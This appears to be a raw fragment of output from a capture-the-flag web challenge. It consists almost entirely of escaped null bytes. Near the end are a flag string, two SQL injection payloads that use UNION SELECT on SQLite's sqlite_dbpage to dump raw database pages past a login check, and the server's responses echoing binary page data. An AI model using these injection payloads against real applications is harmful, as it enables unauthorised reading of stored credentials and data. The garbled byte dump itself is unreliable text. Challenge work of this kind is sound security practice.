00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x009\x03y\tAlpaca{Harder_version: `if &amp;#34;secret&amp;#34; in value.lower()`}&amp;#39;!
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=6 --
invalid credentials
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET 0 --
Hello, b&amp;#39;\n\x00\x00\x00\x01\x0f\xc6\x00\x0f\xc6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00